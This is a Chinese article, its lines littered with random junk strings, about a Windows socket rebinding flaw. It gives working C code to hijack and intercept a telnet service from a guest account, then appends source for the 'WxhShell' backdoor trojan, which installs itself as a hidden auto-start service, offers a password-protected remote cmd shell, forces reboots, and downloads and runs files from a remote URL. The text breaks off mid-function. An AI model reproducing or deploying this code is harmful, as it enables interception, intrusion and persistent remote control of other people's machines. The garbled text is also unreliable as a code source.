在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
> Rbgg1^]5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
( |1 $zF+ 5M{DJ/q saddr.sin_family = AF_INET;
fr0iEO_ eiF!yk?2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
LyB$~wZx~@ EMe6Z!k bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
MKdBqnM(F ZN2g( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t_q`wKDE nJ|8#U7 这意味着什么?意味着可以进行如下的攻击:
QJ
ueU%| <~}t;ji 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qG/a5i t/bDDV" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^#R-_I nNIV( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_ID2yJ Oifu ?f<r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
cf|<~7 'wAOY 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=$g8"[4 nzTzc5
w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9_rNJLj8y pQxaT$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=De%]]> Es kh=xA { #include
ZpHT2-baVe #include
dy jzF`H #include
FhZ&^.: #include
W9?Yzl DWORD WINAPI ClientThread(LPVOID lpParam);
x, js}Mlw int main()
fz
W%(.tc\ {
,sk;|OAI WORD wVersionRequested;
u!%]?MSc DWORD ret;
*0y+=,"QU WSADATA wsaData;
/c`)Er6d BOOL val;
}}?L'Vby SOCKADDR_IN saddr;
O xqbHe SOCKADDR_IN scaddr;
:YB:)wV,P int err;
ML0o:8Bd\ SOCKET s;
Etj*3/n| SOCKET sc;
A^JeB<,
5a int caddsize;
<> f HANDLE mt;
2C %{A DWORD tid;
f{lg{gA( wVersionRequested = MAKEWORD( 2, 2 );
RC8{QgaI err = WSAStartup( wVersionRequested, &wsaData );
2|o6~m<pE if ( err != 0 ) {
Um\Nd#=: printf("error!WSAStartup failed!\n");
bG>pm|/ return -1;
kF~}htv.= }
$6:j3ZTXrt saddr.sin_family = AF_INET;
|Gjd nD.4c-hd$q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@.-g f&(u[W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;tI=xNre`1 saddr.sin_port = htons(23);
FpfOxF6A3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#
3uXgZi {
Nm<3bd printf("error!socket failed!\n");
Rcf_31 L return -1;
W
k'()N }
K2L+tw val = TRUE;
T"t3e=xA //SO_REUSEADDR选项就是可以实现端口重绑定的
+J$[RxQ# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'@HWp 8+ {
s_K:h printf("error!setsockopt failed!\n");
[e ;K$ return -1;
:n>m">4 }
XN]kNJX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:SSe0ZZ_6b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K|Std)6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/wI$}X5o~ p0uQ>[NV0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Aa.bE,W {
V_!hrKkL ret=GetLastError();
%\[LM$f{z printf("error!bind failed!\n");
R|8)iW^ return -1;
/bVU^vo }
+"T?., listen(s,2);
G F,/<R # while(1)
G[6V=G {
?`,UW; Br6 caddsize = sizeof(scaddr);
iO3@2J //接受连接请求
6ndt1W
z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T\b
e(@r if(sc!=INVALID_SOCKET)
tp_*U, {
]gkI:scPA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kwZ8q-0 if(mt==NULL)
|>GtClL {
{DBgW}, printf("Thread Creat Failed!\n");
.5|wy< break;
E@R7b(:* }
FbJlyWND }
+D`IcR-x CloseHandle(mt);
jRXByi=9 }
d~O\zLQ; closesocket(s);
a7nbGqsx WSACleanup();
!iCY!: return 0;
2>.B*P }
r.[!n)* DWORD WINAPI ClientThread(LPVOID lpParam)
vl2!2X {
=wPl;SDf! SOCKET ss = (SOCKET)lpParam;
cW26TtU( SOCKET sc;
uOs
8|pj, unsigned char buf[4096];
%Ox*?l _ SOCKADDR_IN saddr;
CP'?Om2 long num;
br>"96A1l DWORD val;
\NS\>Q+d DWORD ret;
S*IF/ fu //如果是隐藏端口应用的话,可以在此处加一些判断
]gHw;ry //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mE%H5&VSI saddr.sin_family = AF_INET;
m/JpYv~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
EP'2'51 saddr.sin_port = htons(23);
5)2lZ(5.A# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)O"5dF1l {
^4O1:_|G printf("error!socket failed!\n");
4At%{E return -1;
fZ]Y }
V3xC"maA@ val = 100;
tV9nC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pqBd# {
?^Q!=W<7 ret = GetLastError();
My76]\Psh return -1;
!TVlsm }
- ~T LI&[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Jp!Q2} {
0j7W\'!t ret = GetLastError();
H@qA X return -1;
s}uOht}
o }
xD,BlDV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F>%~<or {
QnME|j\ printf("error!socket connect failed!\n");
/w^}(IJ4 closesocket(sc);
:,Q\!s! closesocket(ss);
"H" 4(3 return -1;
`6)GjZh^ }
t Q385en while(1)
Q.>@w<[!L {
M^AwOR7< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
oa? bOm //如果是嗅探内容的话,可以再此处进行内容分析和记录
ztKmB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:$~)i?ge<5 num = recv(ss,buf,4096,0);
Kp'_lKW)]q if(num>0)
<kN4@bd; send(sc,buf,num,0);
T
]hVO'z else if(num==0)
--4,6va`e break;
zt/b S/ num = recv(sc,buf,4096,0);
:3pJGMv( if(num>0)
}A\s`Hm send(ss,buf,num,0);
oDogM`T` else if(num==0)
o|YY,G=C break;
3}@3pVS }
9=O`?$y closesocket(ss);
h.d-a/ closesocket(sc);
$A]2Iw!& return 0 ;
h+<vWo}H }
i t.Lh'N;T UmUw>+A 8[\F*H ==========================================================
@E;'Ffo XP'<\ 下边附上一个代码,,WXhSHELL
I(tMw6C$: OJ^kESrm8 ==========================================================
K4~z@.
G6* .<%2ON_ #include "stdafx.h"
^aYlu0Wm \{``r #include <stdio.h>
G_vWwH4XtL #include <string.h>
>-J%=P #include <windows.h>
_;L%? -2c #include <winsock2.h>
}Q&zYC]d #include <winsvc.h>
z*n #include <urlmon.h>
Yef=HSzo %Xc50n2Z #pragma comment (lib, "Ws2_32.lib")
sQUJ]h #pragma comment (lib, "urlmon.lib")
qWX%[i% 7iMBDkb7 #define MAX_USER 100 // 最大客户端连接数
Hvqvggfi #define BUF_SOCK 200 // sock buffer
E[q:65xl #define KEY_BUFF 255 // 输入 buffer
E-gI'qG\( {w:*t)@j #define REBOOT 0 // 重启
)r2$!(NQ #define SHUTDOWN 1 // 关机
[d
30mVM ere h! #define DEF_PORT 5000 // 监听端口
&\tD$g~"
7[z^0?Pygf #define REG_LEN 16 // 注册表键长度
g~EN3~ #define SVC_LEN 80 // NT服务名长度
7X
4/6]* [A~n=m5H // 从dll定义API
k{\wjaf) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
DwSB(O#X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q^13KWvuV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*Z}^T:3iw} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%87D(h!.I4 RN:VsopL // wxhshell配置信息
"/H B# struct WSCFG {
7Z%EXDm4/c int ws_port; // 监听端口
}_Y&kaM char ws_passstr[REG_LEN]; // 口令
m8M2ka int ws_autoins; // 安装标记, 1=yes 0=no
= VIU
char ws_regname[REG_LEN]; // 注册表键名
stGk*\>U' char ws_svcname[REG_LEN]; // 服务名
%!DdjC&5* char ws_svcdisp[SVC_LEN]; // 服务显示名
A c^hZ.qPz char ws_svcdesc[SVC_LEN]; // 服务描述信息
N;Hoi8W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7`eg;s^ int ws_downexe; // 下载执行标记, 1=yes 0=no
(<GBhNj=c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S
$j"'K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HGycF|]2 ?{=&R o };
p>M8:, m\*;Fx // default Wxhshell configuration
<MK4#I1I struct WSCFG wscfg={DEF_PORT,
+vf~s^ "xuhuanlingzhe",
;OC~,?O5 1,
oZ]^zzoEcg "Wxhshell",
Z4ekBdmCL "Wxhshell",
(F=/r]Q "WxhShell Service",
m[aBHA^g "Wrsky Windows CmdShell Service",
iA.:{^_)09 "Please Input Your Password: ",
om_UQgC@r 1,
h]6m+oPW "
http://www.wrsky.com/wxhshell.exe",
j(aok5:e "Wxhshell.exe"
e^!>W %.7Z };
6&oaxAp<s <Wrn/%tL // 消息定义模块
I{nrOb1G( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q,;8Ka ) char *msg_ws_prompt="\n\r? for help\n\r#>";
!2=m
|, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]?p 9)d=%< char *msg_ws_ext="\n\rExit.";
MS5X#B char *msg_ws_end="\n\rQuit.";
Yt]Y( char *msg_ws_boot="\n\rReboot...";
(#e,tu char *msg_ws_poff="\n\rShutdown...";
,"en7 char *msg_ws_down="\n\rSave to ";
Mo'6<"x M{GT$Q char *msg_ws_err="\n\rErr!";
r..&6-%:N char *msg_ws_ok="\n\rOK!";
m!Y4+KTwD` 3A&:
c/ char ExeFile[MAX_PATH];
C[ma!he int nUser = 0;
hqDnmzG HANDLE handles[MAX_USER];
Mi^/`1 int OsIsNt;
m>FP&~2 +HDfEo T SERVICE_STATUS serviceStatus;
$I0&I[_LzK SERVICE_STATUS_HANDLE hServiceStatusHandle;
M4H~]Ftn JnE\z*NB // 函数声明
y.>1r7 int Install(void);
(e"\%p` int Uninstall(void);
P>}OwW int DownloadFile(char *sURL, SOCKET wsh);
$y$E1A6h+ int Boot(int flag);
Z Jgy!)1n void HideProc(void);
\Gl>$5np int GetOsVer(void);
`8 Ann~Z|k int Wxhshell(SOCKET wsl);
F_I.=zQr void TalkWithClient(void *cs);
jjT)3
c:J[ int CmdShell(SOCKET sock);
qs$w9I int StartFromService(void);
Kcu*Z int StartWxhshell(LPSTR lpCmdLine);
F+<e9[ PenkqDc} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m!-R}PQC VOID WINAPI NTServiceHandler( DWORD fdwControl );
1[]
9EJ QnJd}(yN // 数据结构和表定义
Mg~62u SERVICE_TABLE_ENTRY DispatchTable[] =
V}aZ}m{J {
u> @@ {wscfg.ws_svcname, NTServiceMain},
%/n#{;c# {NULL, NULL}
M
o?y4X };
|=u
}1G? rtxG-a56Q // 自我安装
\yhj {QS.k int Install(void)
9Zj9e {
jp+s[rRc\{ char svExeFile[MAX_PATH];
4k_y;$4WN HKEY key;
% <1&\5f<5 strcpy(svExeFile,ExeFile);
<SKzCp\ 'O^<i`8U] // 如果是win9x系统,修改注册表设为自启动
*";O_ :C! if(!OsIsNt) {
k0bDEz.X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ud:;kI%Vj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ThiM6Hb RegCloseKey(key);
U[O7}Nsb" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'T+v&M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f0@4>\g RegCloseKey(key);
{i"th(J$
return 0;
Oil~QAd, }
"'3QKeM1 }
' e:rL. }
QTIC5cl, else {
!d
Z:Ih.[{
frRO? // 如果是NT以上系统,安装为系统服务
HVz|*?&6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
O77^.B if (schSCManager!=0)
>&[q`i{ {
O0_kLH$. SC_HANDLE schService = CreateService
2TccIv (
E#n=aY~u- schSCManager,
FY9nVnIoI wscfg.ws_svcname,
=m-nvXD wscfg.ws_svcdisp,
R ~? 9+ SERVICE_ALL_ACCESS,
yvCX
is SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\AOHZ r SERVICE_AUTO_START,
dZkj|Ua~ SERVICE_ERROR_NORMAL,
P`L, eYc svExeFile,
g3| 62uDF NULL,
LV8{c!" NULL,
~.$ca.Gf NULL,
@[v4[yq- NULL,
;;
?OS NULL
%~I%*=o[ );
2l}H=DZV if (schService!=0)
8
3Tv-X {
r7+Ytr CloseServiceHandle(schService);
VmON}bb[zz CloseServiceHandle(schSCManager);
MlV3qM@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GK&R,q5} strcat(svExeFile,wscfg.ws_svcname);
R4%}IT^%P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)mu[ye"p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
('6sW/F*ab RegCloseKey(key);
H;N6X y*~ return 0;
y:YJv x6&4 }
|"+UCAU }
CwaW>(`v CloseServiceHandle(schSCManager);
z9
$1jC }
G2yQHTbl }
|xFSGrC }qg.Go return 1;
J'C% }
#k
t+
)> bScW<DZJ- // 自我卸载
/s
Bs eI int Uninstall(void)
XP(fWRT1 {
\:jJ{bl^A HKEY key;
`zOn(6B;U -Mzm~@_s] if(!OsIsNt) {
,In}be$: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[j 'lB RegDeleteValue(key,wscfg.ws_regname);
(5GjtFojY| RegCloseKey(key);
AGV+Y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BnU3oP RegDeleteValue(key,wscfg.ws_regname);
Qe;R3D=T; RegCloseKey(key);
.R_-$/ZP return 0;
,.i)(Or }
#{g6'9PMz }
] p*Fq^ }
8Z>=sUMQ else {
MI,kKi F.iJz4ya_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@DuSii#.S if (schSCManager!=0)
4Un%p7Y~ {
;3&HZq6Z ( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
15_Px9 if (schService!=0)
+:&|]$8< {
FvVM}l' if(DeleteService(schService)!=0) {
Rg7~?b- CloseServiceHandle(schService);
[orS-H7^ CloseServiceHandle(schSCManager);
fzr0dcNgM return 0;
>k8FUf(c }
lNx:_g:SrZ CloseServiceHandle(schService);
*n_7~ZX }
J0UF( CloseServiceHandle(schSCManager);
Vi>`g{\ }
<KrfM }
b,lIndj# 8F/JOtkGMt return 1;
m^KK
#Hw/` }
2`pg0ciX ( Qsg([K // 从指定url下载文件
vt(cC)) int DownloadFile(char *sURL, SOCKET wsh)
eT@,QA(3 {
k? !'OHmBL HRESULT hr;
)KKmV6>b char seps[]= "/";
B`?5G\7L char *token;
v4VP7h6uD) char *file;
z K6'wL!!I char myURL[MAX_PATH];
}TG=ZVi char myFILE[MAX_PATH];
!h>aP4ofT sEx`9_oZ strcpy(myURL,sURL);
<nJ8%aY, token=strtok(myURL,seps);
]]50c while(token!=NULL)
'7UIzk| {
XX'mM v file=token;
`J-&Y2_/k token=strtok(NULL,seps);
\s_`ZEB }
G$E+qk
nJL }5=tUfh)]' GetCurrentDirectory(MAX_PATH,myFILE);
li&&[=6A strcat(myFILE, "\\");
)BmO[AiOM strcat(myFILE, file);
]SG(YrF send(wsh,myFILE,strlen(myFILE),0);
3?s1Yw>? send(wsh,"...",3,0);
WoWmmZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&5Huv?^a' if(hr==S_OK)
t{Z:N']H return 0;
F1NYpCR else
qHE( p+]E return 1;
?U(`x6\: nE=,=K~ }
A;gU@8m e2"gzZ4;g
// 系统电源模块
aUbmEHFTV int Boot(int flag)
*V?p&/>MT {
1Ts$kdO HANDLE hToken;
\kG;T=H TOKEN_PRIVILEGES tkp;
?K=
X[ %Mr^~7nN if(OsIsNt) {
!@9G9<NK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,Kwtp)EX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=v7%IRP5 tkp.PrivilegeCount = 1;
L]{1@~E:q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M`tNYs]V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NH;.!xq: if(flag==REBOOT) {
:7)lg iM2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
V2IurDE return 0;
p>= b|Qy| }
X*e<g= else {
;0-Y), if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e<r}{=1w return 0;
T[eb< }
hYSf;cG}A }
`l+
pk% else {
3pjK`"Nmz\ if(flag==REBOOT) {
%SJFuw" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M7\yEi"* return 0;
MT{ovDA]. }
yR[htD` else {
d'2q~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_!E)a return 0;
/Bp5^(s }
^e(*{K;8 }
# GOL%2X !Hx[
`3 return 1;
KLCd`vr.xf }
i?B(I4a!G r"&VG2c0K // win9x进程隐藏模块
% jSB9 void HideProc(void)
CC,CKb {
DgODTxiX N~+ e\K6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
< m/@_" if ( hKernel != NULL )
10{zF_9yx {
)=%TIkeF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
##BfI`FJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_7b' i6- FreeLibrary(hKernel);
Q<T+t0G\O- }
Uq^-km#a L'r gCOJ< return;
UB,:won }
a}[ 1*_G !30BR|K* // 获取操作系统版本
T[ltOQw?Y int GetOsVer(void)
PAS0 D
# {
u_jhmKr~ OSVERSIONINFO winfo;
4#lOAzDtv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4}Dfi5:
GetVersionEx(&winfo);
pFcCe
'd" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
# b94S?dq return 1;
n
'E:uXv" else
>$G'=N:=X& return 0;
m*~Iu<5L }
&%r<_1 ]? %*3I // 客户端句柄模块
]?lUe5F int Wxhshell(SOCKET wsl)
>8.o {
_:~I(c6 SOCKET wsh;
>o )v struct sockaddr_in client;
dzs(sM= DWORD myID;
,dXJCX8so {P'^X+B0* while(nUser<MAX_USER)
xP-\)d-.aN {
1fqJtP6 int nSize=sizeof(client);
pYz\GSd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N;R I
A if(wsh==INVALID_SOCKET) return 1;
T7?cnK" 0[.T`tpN' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^0HgE;4 if(handles[nUser]==0)
lw=!v%L closesocket(wsh);
2 `U+
! else
D+"+m%^>C nUser++;
v4vIcHDs }
X ;Cl8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;S+]Z!5LT x &*2R#Ai return 0;
og`K!d~ }
hj,y l& Y+ !z]S/x // 关闭 socket
";;Nc>-Y void CloseIt(SOCKET wsh)
v@QfxV2 {
HcCT=x7: closesocket(wsh);
Ot;)zft nUser--;
Dbw{E:pq ExitThread(0);
D\^\_r): }
`rb}"V+ fVz0H1\J& // 客户端请求句柄
7UsU03 void TalkWithClient(void *cs)
#j4RX:T*[ {
&vN^*:Q #:s*Hy= SOCKET wsh=(SOCKET)cs;
N"A`tc5& char pwd[SVC_LEN];
X=jHH=</ char cmd[KEY_BUFF];
7x#."6>Dy char chr[1];
i,!t u int i,j;
11?d,6Jl #oJ%i+V while (nUser < MAX_USER) {
=[LUOOR*] 8 `}I] if(wscfg.ws_passstr) {
Ru@ { b` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-8Hv3J'= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ffR<G&"n~b //ZeroMemory(pwd,KEY_BUFF);
z!aU85y i=0;
nrKir while(i<SVC_LEN) {
+g&M@8XO& ){4 ! // 设置超时
zKfY0A R fd_set FdRead;
RC!9@H5S# struct timeval TimeOut;
cs?IzIQ FD_ZERO(&FdRead);
6cXZ3;a FD_SET(wsh,&FdRead);
s9,Z}]Th TimeOut.tv_sec=8;
',]^Qu`a TimeOut.tv_usec=0;
p4vX3?&1W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<Yn-sH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GDYFhH7H 5xhYOwQBo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R5=M{ pwd
=chr[0]; i2E@5 v=|Y
if(chr[0]==0xd || chr[0]==0xa) { v(;n|=O
pwd=0; `]F#j ]"
break; 88Vl1d&b
} /YHnt-}v,
i++; q9(Z9$a(\
} BHt9$$Z|
@#"6_{!j_X
// 如果是非法用户,关闭 socket BMb0Pu8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g}$B4_sY
} *g"Xhk
4 {+47=n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x:+]^?}r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a xz-H`oq4
BG/RNem
while(1) { 6iS7Hao"
u1`JvfLrL
ZeroMemory(cmd,KEY_BUFF); G
UK%RC8
auAwZi/
// 自动支持客户端 telnet标准 |!L0X@>
j=0; o]<J&<WM
while(j<KEY_BUFF) { Dlg9PyQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +S@[1 N
cmd[j]=chr[0]; BBa!le9P
if(chr[0]==0xa || chr[0]==0xd) { YL/B7^fd8
cmd[j]=0; Hb\['VhzM
break; w d6+,B
} X'p%K/-m
j++; NUh+ &M
} f@0Km^a Uc
"EnxVV
// 下载文件 VjJ}q*/3e
if(strstr(cmd,"http://")) { |eK^Yhym
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wQYW5X
if(DownloadFile(cmd,wsh)) f1|&umJ$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -'T^gEd)c
else C?g<P0h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -nY_.fp>
} EZ[e
a<
else { 8aTo
TA7JA
\f'=
switch(cmd[0]) { kV4,45r
"] ]aF1
// 帮助 mXI'=Vo!S
case '?': { 6L3i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NXOcsdcZu
break; ;)z+dd#3
} JZ/T:Hsh4
// 安装 *fI\|%K
case 'i': { M/kBAxNIC|
if(Install()) iUlSRfrC$#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q^6l`JJ
else 8|tnhA]~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uP.dCs9-
break; bycnh
} gw<udhk
// 卸载 P>'29$1'
case 'r': { lQpl8>
if(Uninstall()) D&1(qi=x&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]xPy-j6C
else !ezy
v`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ks-$([_F
break; zGa
V^X
} 6foiN W+
// 显示 wxhshell 所在路径 {Gw{W&<
case 'p': { t(UdV
char svExeFile[MAX_PATH]; *9(E0"
strcpy(svExeFile,"\n\r"); 3-BC4y/
strcat(svExeFile,ExeFile); =d/$B!t{
send(wsh,svExeFile,strlen(svExeFile),0); P?Kg7m W
break; XO}SPf-
} !UHX?<3r
// 重启 TP mb]j
case 'b': { 3g5D[>J'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A}i>ys
if(Boot(REBOOT)) sLf~o"yb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5YLc4z*
else { qfF2S
closesocket(wsh); lqvP
Dz
ExitThread(0); [<X ~m
} s?PB ]Tr
break; =z\/xzAwX
} B^C5?
// 关机 mt4X
case 'd': { 5:%`&B\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4c<\_\\ck
if(Boot(SHUTDOWN)) )\J~KB4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NMESGNa)z
else { eQ<GNvm
closesocket(wsh); +@~e9ZG%a
ExitThread(0); <t dsUh:?&
} 0@RVM|
break; =b>e4I@
} Fi#
9L
// 获取shell MJU*Sq
case 's': { 68~5Dx
CmdShell(wsh); U "v=XK)!
closesocket(wsh); M|7][!<G!
ExitThread(0); U5[r&Y
D
break; py6O\` \
} gps.
// 退出 }>_
case 'x': { l7U<]i GL
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ps33&
CloseIt(wsh); Aa^w{D
break; 0@&/W-VXg
} zIr4!|X
// 离开 G6s3\de#U
case 'q': { |Rz}bsrZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #I#_gjJkx
closesocket(wsh); kb!W|l"PN
WSACleanup(); %DKC/%
exit(1); 8F/zrPG
break; HahA} Q
} BwVq:)P/R
} =69sWcC8
} @XVx{t;g2
czK}F/Sg `
// 提示信息 7A{Z1[7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f;!L\$yKy
} HBA|NV3.
} sn+ kFvk}S
o;>qsn8
return; +ZkJ{r0,(
} w I[Hoi
V
Nhtc^DX
// shell模块句柄 WLH ;{
int CmdShell(SOCKET sock) &:~9'-O
{ /*Gbl
STARTUPINFO si; z6fY_LL
ZeroMemory(&si,sizeof(si)); yF-`f
_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #
S0N`V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pL: r\Y:R
PROCESS_INFORMATION ProcessInfo;
<3x:nH @
char cmdline[]="cmd"; a..LbQQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KBA&s
return 0; Z>*a:|
} L%Ms?`i,
WfQZ7e
// 自身启动模式 U-D00l7C
int StartFromService(void) U"Y/PBs,
{ 'tt4"z2
typedef struct zL3I!& z2
{ /< Dtu UM
DWORD ExitStatus; ?y,KN}s_
DWORD PebBaseAddress; [_*?~
